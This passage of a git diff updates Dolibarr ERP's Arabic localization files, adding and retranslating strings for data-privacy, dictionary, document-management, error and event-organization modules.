cleaner and anonymizer -JobXMustBeEnabled=Job %s must be enabled +DATAPOLICYJob=منظف البيانات ومجهول الهوية +JobXMustBeEnabled=يجب تفعيل الوظيفة %s +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes -LastExecutedScheduledJob=Last executed scheduled job -NextScheduledJobExecute=Next scheduled job to execute -NumberScheduledJobError=Number of scheduled jobs in error +LastExecutedScheduledJob=آخر وظيفة مجدولة تم تنفيذها +NextScheduledJobExecute=المهمة التالية المجدولة للتنفيذ +NumberScheduledJobError=عدد الوظائف المجدولة بالخطأ +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/ar_SA/datapolicy.lang b/htdocs/langs/ar_SA/datapolicy.lang new file mode 100644 index 00000000000..eeb62deccc0 --- /dev/null +++ b/htdocs/langs/ar_SA/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = العميل +DATAPOLICY_TIERS_PROSPECT = فرصة +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = المورد +DATAPOLICY_CONTACT_CLIENT = العميل +DATAPOLICY_CONTACT_PROSPECT = فرصة +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = المورد +DATAPOLICY_ADHERENT = عضو +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/ar_SA/deliveries.lang b/htdocs/langs/ar_SA/deliveries.lang index 920fa226b0f..320189d768e 100644 --- a/htdocs/langs/ar_SA/deliveries.lang +++ b/htdocs/langs/ar_SA/deliveries.lang @@ -30,3 +30,4 @@ NonShippable=غير قابل للشحن ShowShippableStatus=إظهار علامة قابل للشحن ShowReceiving=عرض إيصال الاستلام NonExistentOrder=امر غير موجود +StockQuantitiesAlreadyAllocatedOnPreviousLines = كميات المخزون المخصصة بالفعل في الأسطر السابقة diff --git a/htdocs/langs/ar_SA/dict.lang b/htdocs/langs/ar_SA/dict.lang index f9c24a7a607..ced52e16a06 100644 --- a/htdocs/langs/ar_SA/dict.lang +++ b/htdocs/langs/ar_SA/dict.lang @@ -21,7 +21,7 @@ CountryNL=هولندا CountryHU=Hongria CountryRU=روسيا CountrySE=السويد -CountryCI=Ivoiry الساحل +CountryCI=ساحل العاج CountrySN=السنغال CountryAR=الأرجنتين CountryCM=الكاميرون @@ -116,7 +116,7 @@ CountryHM=واستمع وجزر ماكدونالد CountryVA=الكرسي الرسولي (دولة الفاتيكان) CountryHN=هندوراس CountryHK=هونج كونج -CountryIS=Iceland +CountryIS=أيسلندا CountryIN=الهند CountryID=اندونيسيا CountryIR=إيران @@ -131,7 +131,7 @@ CountryKI=كيريباس CountryKP=كوريا الشمالية CountryKR=كوريا الجنوبية CountryKW=الكويت -CountryKG=Kyrgyzstan +CountryKG=قيرغيزستان CountryLA=لاوس CountryLV=لاتفيا CountryLB=لبنان @@ -160,7 +160,7 @@ CountryMD=مولدافيا CountryMN=منغوليا CountryMS=مونتسرات CountryMZ=موزامبيق -CountryMM=Myanmar (Burma) +CountryMM=ميانمار (بورما) CountryNA=ناميبيا CountryNR=ناورو CountryNP=نيبال @@ -223,7 +223,7 @@ CountryTO=تونجا CountryTT=ترينيداد وتوباغو CountryTR=تركيا CountryTM=تركمانستان -CountryTC=Turks and Caicos Islands +CountryTC=جزر تركس وكايكوس CountryTV=توفالو CountryUG=أوغندا CountryUA=أوكرانيا @@ -250,7 +250,9 @@ CountryMF=سانت مارتين ##### Civilities ##### CivilityMME=السيدة +CivilityMMEShort=السيدة CivilityMR=السيد +CivilityMRShort=السيد CivilityMLE=السيدة CivilityMTRE=السيد CivilityDR=دكتور @@ -277,7 +279,7 @@ CurrencySingMGA=Ariary CurrencyMUR=موريشيوس روبية CurrencySingMUR=موريشيوس روبية CurrencyNOK=النرويجية بالكرون -CurrencySingNOK=Norwegian kronas +CurrencySingNOK=كرونا نرويجية CurrencyTND=دينار CurrencySingTND=الدينار التونسي CurrencyUSD=الدولار الأمريكي @@ -290,7 +292,7 @@ CurrencyXOF=BCEAO فرنك أفريقي CurrencySingXOF=اتفاق وقف إطلاق النار الفرنك تشريعي ملائم CurrencyXPF=الحراجية المعتمدة الفرنك CurrencySingXPF=الحراجية المعتمدة الفرنك -CurrencyCentEUR=cents +CurrencyCentEUR=سنتا CurrencyCentSingEUR=سنت CurrencyCentINR=بيزة CurrencyCentSingINR=paise @@ -307,7 +309,7 @@ DemandReasonTypeSRC_WOM=كلمة الفم DemandReasonTypeSRC_PARTNER=شريك DemandReasonTypeSRC_EMPLOYEE=الموظف DemandReasonTypeSRC_SPONSORING=رعاية -DemandReasonTypeSRC_SRC_CUSTOMER=Incoming contact of a customer +DemandReasonTypeSRC_SRC_CUSTOMER=جهة اتصال واردة للعميل #### Paper formats #### PaperFormatEU4A0=شكل 4A0 PaperFormatEU2A0=شكل 2A0 @@ -330,30 +332,30 @@ PaperFormatCAP5=شكل P5 كندا PaperFormatCAP6=شكل P6 كندا #### Expense report categories #### ExpAutoCat=سيارة -ExpCycloCat=Moped -ExpMotoCat=Motorbike -ExpAuto3CV=3 CV -ExpAuto4CV=4 CV -ExpAuto5CV=5 CV -ExpAuto6CV=6 CV -ExpAuto7CV=7 CV -ExpAuto8CV=8 CV -ExpAuto9CV=9 CV -ExpAuto10CV=10 CV -ExpAuto11CV=11 CV -ExpAuto12CV=12 CV -ExpAuto3PCV=3 CV and more -ExpAuto4PCV=4 CV and more -ExpAuto5PCV=5 CV and more -ExpAuto6PCV=6 CV and more -ExpAuto7PCV=7 CV and more -ExpAuto8PCV=8 CV and more -ExpAuto9PCV=9 CV and more -ExpAuto10PCV=10 CV and more -ExpAuto11PCV=11 CV and more -ExpAuto12PCV=12 CV and more -ExpAuto13PCV=13 CV and more -ExpCyclo=Capacity lower to 50cm3 -ExpMoto12CV=Motorbike 1 or 2 CV -ExpMoto345CV=Motorbike 3, 4 or 5 CV -ExpMoto5PCV=Motorbike 5 CV and more +ExpCycloCat=الدراجة +ExpMotoCat=دراجات نارية +ExpAuto3CV=3 سيرة ذاتية +ExpAuto4CV=4 سيرة ذاتية +ExpAuto5CV=5 سيرة ذاتية +ExpAuto6CV=6 سيرة ذاتية +ExpAuto7CV=7 سيرة ذاتية +ExpAuto8CV=8 سيرة ذاتية +ExpAuto9CV=9 سيرة ذاتية +ExpAuto10CV=10 سيرة ذاتية +ExpAuto11CV=11 سيرة ذاتية +ExpAuto12CV=12 سيرة ذاتية +ExpAuto3PCV=3 سيرة ذاتية فأكثر +ExpAuto4PCV=4 سيرة ذاتية فأكثر +ExpAuto5PCV=5 سيرة ذاتية فأكثر +ExpAuto6PCV=6 سيرة ذاتية فأكثر +ExpAuto7PCV=7 سيرة ذاتية فأكثر +ExpAuto8PCV=8 سيرة ذاتية فأكثر +ExpAuto9PCV=9 سيرة ذاتية فأكثر +ExpAuto10PCV=10 سيرة ذاتية فأكثر +ExpAuto11PCV=11 سيرة ذاتية فأكثر +ExpAuto12PCV=12 سيرة ذاتية فأكثر +ExpAuto13PCV=13 سيرة ذاتية فأكثر +ExpCyclo=السعة أقل من 50 سم 3 +ExpMoto12CV=دراجة نارية 1 أو 2 سيرة ذاتية +ExpMoto345CV=دراجة بخارية 3 أو 4 أو 5 سيراتو +ExpMoto5PCV=دراجة بخارية 5 سيرة ذاتية فأكثر diff --git a/htdocs/langs/ar_SA/ecm.lang b/htdocs/langs/ar_SA/ecm.lang index b78f8704cac..a312486b280 100644 --- a/htdocs/langs/ar_SA/ecm.lang +++ b/htdocs/langs/ar_SA/ecm.lang @@ -1,12 +1,13 @@ # Dolibarr language file - Source file is en_US - ecm -ECMNbOfDocs=No. of documents in directory +ECMNbOfDocs=عدد الوثائق في الدليل ECMSection=دليل ECMSectionManual=دليل دليل ECMSectionAuto=الدليل الآلي ECMSectionsManual=دليل الشجرة ECMSectionsAuto=شجرة الآلي +ECMSectionsMedias=Medias tree ECMSections=أدلة -ECMRoot=ECM Root +ECMRoot=جذر ECM ECMNewSection=دليل جديد ECMAddSection=إضافة دليل دليل ECMCreationDate=تاريخ الإنشاء @@ -14,36 +15,38 @@ ECMNbOfFilesInDir=عدد من الملفات في دليل ECMNbOfSubDir=من دون أدلة ECMNbOfFilesInSubDir=عدد الملفات في الدلائل الفرعية ECMCreationUser=مبدع -ECMArea=DMS/ECM area -ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* أدلة تلقائية تملأ تلقائيا عند إضافة الوثائق من بطاقة عنصر.
      * دليل أدلة يمكن استخدامها لانقاذ وثائق ليست مرتبطة بشكل خاص عنصر. +ECMArea=منطقة DMS / ECM +ECMAreaDesc=تتيح لك منطقة DMS / ECM (نظام إدارة المستندات / إدارة المحتوى الإلكتروني) حفظ جميع أنواع المستندات ومشاركتها والبحث عنها بسرعة في Dolibarr. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=دليل ٪ ق حذفت. -ECMSectionWasCreated=Directory %s has been created. +ECMSectionWasCreated=تم إنشاء الدليل %s . ECMSearchByKeywords=بحث الكلمات الرئيسية ECMSearchByEntity=بحث عن وجوه ECMSectionOfDocuments=أدلة وثائق ECMTypeAuto=التلقائي -ECMDocsBy=Documents linked to %s +ECMDocsBy=المستندات المرتبطة بـ %s ECMNoDirectoryYet=لا الدليل ShowECMSection=وتظهر الدليل DeleteSection=إزالة الدليل ConfirmDeleteSection=Can you confirm you want to delete the directory %s? ECMDirectoryForFiles=دليل النسبي للملفات -CannotRemoveDirectoryContainsFilesOrDirs=Removal not possible because it contains some files or sub-directories -CannotRemoveDirectoryContainsFiles=Removal not possible because it contains some files +CannotRemoveDirectoryContainsFilesOrDirs=الإزالة غير ممكنة لأنها تحتوي على بعض الملفات أو الدلائل الفرعية +CannotRemoveDirectoryContainsFiles=الإزالة غير ممكنة لأنها تحتوي على بعض الملفات ECMFileManager=مدير الملفات -ECMSelectASection=Select a directory in the tree... -DirNotSynchronizedSyncFirst=This directory seems to be created or modified outside ECM module. You must click on "Resync" button first to synchronize disk and database to get content of this directory. -ReSyncListOfDir=Resync list of directories -HashOfFileContent=Hash of file content -NoDirectoriesFound=No directories found -FileNotYetIndexedInDatabase=File not yet indexed into database (try to re-upload it) -ExtraFieldsEcmFiles=Extrafields Ecm Files -ExtraFieldsEcmDirectories=Extrafields Ecm Directories -ECMSetup=ECM Setup -GenerateImgWebp=Duplicate all images with another version with .webp format -ConfirmGenerateImgWebp=If you confirm, you will generate an image in .webp format for all images currently into this folder (subfolders are not included)... -ConfirmImgWebpCreation=Confirm all images duplication -SucessConvertImgWebp=Images successfully duplicated -ECMDirName=Dir name -ECMParentDirectory=Parent directory +ECMSelectASection=حدد دليلاً في الشجرة ... +DirNotSynchronizedSyncFirst=يبدو أن هذا الدليل قد تم إنشاؤه أو تعديله خارج وحدة ECM. يجب النقر فوق الزر "إعادة المزامنة" أولاً لمزامنة القرص وقاعدة البيانات للحصول على محتوى هذا الدليل. +ReSyncListOfDir=إعادة مزامنة قائمة الدلائل +HashOfFileContent=تجزئة لمحتوى الملف +NoDirectoriesFound=لم يتم العثور على أدلة +FileNotYetIndexedInDatabase=لم تتم فهرسة الملف بعد في قاعدة البيانات (حاول إعادة تحميله) +ExtraFieldsEcmFiles=ملفات Extrafields Ecm +ExtraFieldsEcmDirectories=أدلة Extrafields Ecm +ECMSetup=إعداد ECM +GenerateImgWebp=قم بتكرار جميع الصور بإصدار آخر بتنسيق .webp +ConfirmGenerateImgWebp=إذا قمت بالتأكيد ، فسوف تقوم بإنشاء صورة بتنسيق webp. لجميع الصور الموجودة حاليًا في هذا المجلد (لا يتم تضمين المجلدات الفرعية) ... +ConfirmImgWebpCreation=تأكيد كل الصور المكررة +SucessConvertImgWebp=تم نسخ الصور بنجاح +ECMDirName=اسم دير +ECMParentDirectory=دليل الوالدين diff --git a/htdocs/langs/ar_SA/errors.lang b/htdocs/langs/ar_SA/errors.lang index f251d252aaa..f87f246a28e 100644 --- a/htdocs/langs/ar_SA/errors.lang +++ b/htdocs/langs/ar_SA/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=ادخل ٪ ق موجود بالفعل. ErrorGroupAlreadyExists=المجموعة ٪ ق موجود بالفعل. ErrorEmailAlreadyExists=البريد الإلكتروني %s موجود بالفعل. ErrorRecordNotFound=لم يتم العثور على السجل. +ErrorRecordNotFoundShort=Not found ErrorFailToCopyFile=فشل في نسخ الملف '%s' إلى '%s ". ErrorFailToCopyDir=Failed to copy directory '%s' into '%s'. ErrorFailToRenameFile=فشل لإعادة تسمية الملف '%s' إلى '%s ". @@ -48,6 +49,7 @@ ErrorBadImageFormat=ملف الصورة لم تنسيق معتمد (PHP لديك ErrorBadDateFormat='%s' قيمة له خاطئ تنسيق التاريخ ErrorWrongDate=تاريخ غير صحيح! ErrorFailedToWriteInDir=لم يكتب في دليل ٪ ق +ErrorFailedToBuildArchive=Failed to build archive file %s ErrorFoundBadEmailInFile=Found incorrect email syntax for %s lines in file (example line %s with email=العثور على بريد إلكتروني صحيح لتركيب خطوط ق ٪ في ملف (على سبيل المثال خط ٪ ق= ٪ مع البريد الإلكتروني) ErrorUserCannotBeDelete=لا يمكن حذف المستخدم. ربما يرتبط بكيانات Dolibarr. ErrorFieldsRequired=تم ترك بعض الحقول المطلوبة فارغة. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=يرجى ملء قيمة لقائمة مربع ErrorNoValueForRadioType=يرجى ملء قيمة لقائمة الراديو ErrorBadFormatValueList=قيمة القائمة لا يمكن أن يكون أكثر من واحد فاصلة:٪ الصورة، ولكن تحتاج إلى واحد على الأقل: مفتاح، قيمة ErrorFieldCanNotContainSpecialCharacters=يجب ألا يحتوي الحقل %s على أحرف خاصة. -ErrorFieldCanNotContainSpecialNorUpperCharacters=يجب ألا يحتوي الحقل %s على أحرف خاصة ولا أحرف كبيرة ولا يمكن أن يحتوي على أرقام فقط. +ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters, and must start with an alphabetical character (a-z) ErrorFieldMustHaveXChar=يجب أن يحتوي الحقل %s على أحرف %s على الأقل. ErrorNoAccountancyModuleLoaded=أي وحدة المحاسبة وتفعيل ErrorExportDuplicateProfil=هذا الاسم الشخصي موجود مسبقا لهذه المجموعة التصدير. @@ -95,9 +97,9 @@ ErrorWrongValueForField=الحقل %s : ' %s ' لا يتطابق ErrorHtmlInjectionForField=الحقل %s : تحتوي القيمة ' %s ' على بيانات ضارة غير مسموح بها ErrorFieldValueNotIn=Field %s : ' %s ' is not a value found in field %s of %s ErrorFieldRefNotIn=الحقل %s : ' %s ' ليس a0aee833658377fz039 +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. ErrorsOnXLines=تم العثور على أخطاء %s ErrorFileIsInfectedWithAVirus=وكان برنامج مكافحة الفيروسات غير قادرة على التحقق من صحة الملف (ملف قد يكون مصابا بواسطة فيروس) -ErrorSpecialCharNotAllowedForField=غير مسموح الأحرف الخاصة لحقل "%s" ErrorNumRefModel=إشارة إلى وجود قاعدة بيانات (%s) ، وغير متوافق مع هذه القاعدة الترقيم. سجل إزالة أو إعادة تسميته اشارة الى تفعيل هذه الوحدة. ErrorQtyTooLowForThisSupplier=الكمية منخفضة جدًا لهذا البائع أو لم يتم تحديد سعر لهذا المنتج لهذا البائع ErrorOrdersNotCreatedQtyTooLow=لم يتم إنشاء بعض الطلبات بسبب الكميات المنخفضة للغاية @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=يجب أن تكون الكائنا ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=يجب أن تكون الكائنات بحالة "مسودة" أو "معطلة" ليتم تمكينها ErrorNoFieldWithAttributeShowoncombobox=لا توجد حقول لها الخاصية "showoncombobox" في تعريف الكائن "%s". لا توجد طريقة لإظهار الاحتكاك. ErrorFieldRequiredForProduct=الحقل "%s" مطلوب للمنتج %s +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. ProblemIsInSetupOfTerminal=كانت المشكلة في إعداد المحطة الطرفية %s. ErrorAddAtLeastOneLineFirst=أضف سطرًا واحدًا على الأقل أولاً ErrorRecordAlreadyInAccountingDeletionNotPossible=خطأ ، تم نقل السجل بالفعل في المحاسبة ، والحذف غير ممكن. @@ -271,14 +274,14 @@ ErrorYouMustFirstSetupYourChartOfAccount=يجب عليك أولاً إعداد ErrorFailedToFindEmailTemplate=فشل العثور على قالب بالاسم الرمزي %s ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=المدة غير محددة في الخدمة. لا توجد طريقة لحساب سعر الساعة. ErrorActionCommPropertyUserowneridNotDefined=مالك المستخدم مطلوب -ErrorActionCommBadType=Selected event type (id: %s, code: %s) do not exist in Event Type dictionary +ErrorActionCommBadType=نوع الحدث المحدد (المعرف: %s ، الرمز: %s) غير موجود في قاموس نوع الحدث CheckVersionFail=فشل التحقق من الإصدار ErrorWrongFileName=لا يمكن أن يحتوي اسم الملف على __SOMETHING__ فيه ErrorNotInDictionaryPaymentConditions=ليس في قاموس شروط الدفع ، يرجى التعديل. ErrorIsNotADraft=%s ليس مسودة ErrorExecIdFailed=لا يمكن تنفيذ الأمر "id" -ErrorBadCharIntoLoginName=شخصية غير مصرح بها في اسم تسجيل الدخول -ErrorRequestTooLarge=خطأ ، الطلب كبير جدًا +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired ErrorNotApproverForHoliday=أنت لست المعتمد للمغادرة %s ErrorAttributeIsUsedIntoProduct=تُستخدم هذه السمة في متغير منتج واحد أو أكثر ErrorAttributeValueIsUsedIntoProduct=تُستخدم قيمة السمة هذه في متغير منتج واحد أو أكثر @@ -289,13 +292,22 @@ ErrorInvoiceLoadThirdPartyKey=مفتاح الجهة الخارجية "%s" لم ErrorDeleteLineNotAllowedByObjectStatus=حذف سطر غير مسموح به من خلال حالة الكائن الحالية ErrorAjaxRequestFailed=الطلب فشل ErrorThirpdartyOrMemberidIsMandatory=طرف ثالث أو عضو في الشراكة إلزامي -ErrorFailedToWriteInTempDirectory=Failed to write in temp directory -ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorFailedToWriteInTempDirectory=فشل في الكتابة في الدليل المؤقت +ErrorQuantityIsLimitedTo=الكمية محدودة بـ %s +ErrorFailedToLoadThirdParty=Failed to find/load thirdparty from id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=This payment mode is not a bank account +ErrorStripeCustomerNotFoundCreateFirst=Stripe customer is not set for this thirdparty (or set to a value deleted on Stripe side). Create (or re-attach) it first. +ErrorCharPlusNotSupportedByImapForSearch=IMAP search is not able to search into sender or recipient for a string containing the character + +ErrorTableNotFound=Table %s not found +ErrorValueForTooLow=Value for %s is too low +ErrorValueCantBeNull=Value for %s can't be null +ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=معلمة PHP upload_max_filesize (%s) أعلى من معلمة PHP post_max_size (%s). هذا ليس إعداد ثابت. WarningPasswordSetWithNoAccount=تم تعيين كلمة مرور لهذا العضو. ومع ذلك، تم إنشاء أي حساب المستخدم. لذلك يتم تخزين كلمة المرور هذه ولكن لا يمكن استخدامها للدخول إلى Dolibarr. ويمكن استخدامه من قبل وحدة / واجهة خارجية ولكن إذا كنت لا تحتاج إلى تعريف أي تسجيل دخول أو كلمة المرور لأحد أفراد، يمكنك تعطيل خيار "إدارة تسجيل دخول لكل عضو" من إعداد وحدة الأعضاء. إذا كنت بحاجة إلى إدارة تسجيل الدخول ولكن لا تحتاج إلى أي كلمة المرور، يمكنك الحفاظ على هذا الحقل فارغا لتجنب هذا التحذير. ملاحظة: يمكن أيضا أن تستخدم البريد الإلكتروني لتسجيل الدخول إذا تم ربط عضو إلى المستخدم. -WarningMandatorySetupNotComplete=Click here to setup main parameters +WarningMandatorySetupNotComplete=انقر هنا لإعداد المعلمات الرئيسية WarningEnableYourModulesApplications=انقر هنا لتمكين الوحدات والتطبيقات الخاصة بك WarningSafeModeOnCheckExecDir=انذار ، فب safe_mode الخيار في ذلك تخزين الأمر يجب أن يكون داخل الدليل الذي أعلنته safe_mode_exec_dir المعلمة بي. WarningBookmarkAlreadyExists=المرجعية هذا الكتاب أو هذا الهدف (عنوان) موجود بالفعل. @@ -304,7 +316,7 @@ WarningConfFileMustBeReadOnly=انذار ، ملف (التكوين htdocs / WarningsOnXLines=تحذيرات عن مصدر خطوط %s WarningNoDocumentModelActivated=لم يتم تنشيط أي نموذج لإنشاء المستندات. سيتم اختيار نموذج افتراضيًا حتى تتحقق من إعداد الوحدة الخاصة بك. WarningLockFileDoesNotExists=تحذير ، بمجرد الانتهاء من الإعداد ، يجب عليك تعطيل أدوات التثبيت / الترحيل عن طريق إضافة ملف install.lock إلى الدليل %s . يعد حذف إنشاء هذا الملف مخاطرة أمنية كبيرة. -WarningUntilDirRemoved=ستبقى جميع التحذيرات الأمنية (المرئية من قبل المستخدمين المسؤولين فقط) نشطة طالما أن الثغرة الأمنية موجودة (أو أن MAIN_REMOVE_INSTALL_WARNING الثابت مضاف في الإعداد-> الإعداد الآخر). +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=تحذير، ويتم إغلاق حتى إذا قدر يختلف بين عناصر المصدر والهدف. تمكين هذه الميزة بحذر. WarningUsingThisBoxSlowDown=تحذير، وذلك باستخدام هذا الإطار تبطئ على محمل الجد كل الصفحات التي تظهر مربع. WarningClickToDialUserSetupNotComplete=إعداد المعلومات ClickToDial لالمستخدم الخاص بك ليست كاملة (انظر التبويب ClickToDial على بطاقة المستخدم الخاص بك). @@ -326,6 +338,8 @@ WarningAvailableOnlyForHTTPSServers=متاح فقط في حالة استخدام WarningModuleXDisabledSoYouMayMissEventHere=لم يتم تمكين الوحدة النمطية %s. لذلك قد تفوتك الكثير من الأحداث هنا. WarningPaypalPaymentNotCompatibleWithStrict=تجعل القيمة "صارمة" ميزات الدفع عبر الإنترنت لا تعمل بشكل صحيح. استخدم "Lax" بدلاً من ذلك. WarningThemeForcedTo=تحذير ، تم إجبار السمة على %s بواسطة الثابت المخفي MAIN_FORCETHEME +WarningPagesWillBeDeleted=Warning, this will also delete all existing pages/containers of the website. You should export your website before, so you have a backup to re-import it later. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatic validation is disabled when option to decrease stock is set on "Invoice validation". # Validate RequireValidValue = القيمة غير صالحة diff --git a/htdocs/langs/ar_SA/eventorganization.lang b/htdocs/langs/ar_SA/eventorganization.lang index 71434cc289f..6ccb9f80b0d 100644 --- a/htdocs/langs/ar_SA/eventorganization.lang +++ b/htdocs/langs/ar_SA/eventorganization.lang @@ -17,151 +17,158 @@ # # Generic # -ModuleEventOrganizationName = Event Organization -EventOrganizationDescription = Event Organization through Module Project -EventOrganizationDescriptionLong= Manage the organization of an event (show, conferences, attendees or speakers, with public pages for suggestion, vote or registration) +ModuleEventOrganizationName = تنظيم الأحداث +EventOrganizationDescription = تنظيم الحدث من خلال مشروع الوحدة النمطية +EventOrganizationDescriptionLong= إدارة تنظيم حدث (عرض أو مؤتمرات أو حضور أو متحدثين ، مع صفحات عامة للاقتراح أو التصويت أو التسجيل) # # Menu # -EventOrganizationMenuLeft = Organized events -EventOrganizationConferenceOrBoothMenuLeft = Conference Or Booth +EventOrganizationMenuLeft = الأحداث المنظمة +EventOrganizationConferenceOrBoothMenuLeft = مؤتمر أو كشك -PaymentEvent=Payment of event +PaymentEvent=دفع الحدث # # Admin page # -NewRegistration=Registration -EventOrganizationSetup=Event Organization setup -EventOrganization=Event organization +NewRegistration=تسجيل +EventOrganizationSetup=إعداد تنظيم الحدث +EventOrganization=تنظيم الأحداث Settings=إعدادات -EventOrganizationSetupPage = Event Organization setup page -EVENTORGANIZATION_TASK_LABEL = Label of tasks to create automatically when project is validated -EVENTORGANIZATION_TASK_LABELTooltip = When you validate an organized event, some tasks can be automatically created in the project

      For example:
      Send Call for Conference
      Send Call for Booth
      Receive call for conferences
      Receive call for Booth
      Open subscriptions to events for attendees
      Send remind of event to speakers
      Send remind of event to Booth hoster
      Send remind of event to attendees -EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Category to add to third-parties automatically created when someone suggests a conference -EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Category to add to third-parties automatically created when they suggests a booth -EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = Template of email to send after receiving a suggestion of a conference. -EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_BOOTH = Template of email to send after receiving a suggestion of a booth. -EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_BOOTH = Template of email to send after a registration to a booth has been paid. -EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT = Template of email to send after a registration to an event has been paid. -EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_SPEAKER = Template of email to use when sending emails from the massaction "Send emails" to speakers -EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_ATTENDES = Template of email to use when sending emails from the massaction "Send emails" on attendee list -EVENTORGANIZATION_FILTERATTENDEES_CAT = In the form to create/add an attendee, restricts the list of thirdparties to thirdparties in the category -EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, restricts the list of thirdparties to thirdparties with the nature +EventOrganizationSetupPage = صفحة إعداد تنظيم الحدث +EVENTORGANIZATION_TASK_LABEL = تسمية المهام التي سيتم إنشاؤها تلقائيًا عند التحقق من صحة المشروع +EVENTORGANIZATION_TASK_LABELTooltip = عند التحقق من صحة حدث لتنظيمه ، يمكن إنشاء بعض المهام تلقائيًا في المشروع

      على سبيل المثال:
      Send Call for Conferences
      Send Call for Booths
      19
      أرسل تذكيرًا بالحدث إلى المتحدثين
      أرسل تذكيرًا بالحدث إلى Booth hosters
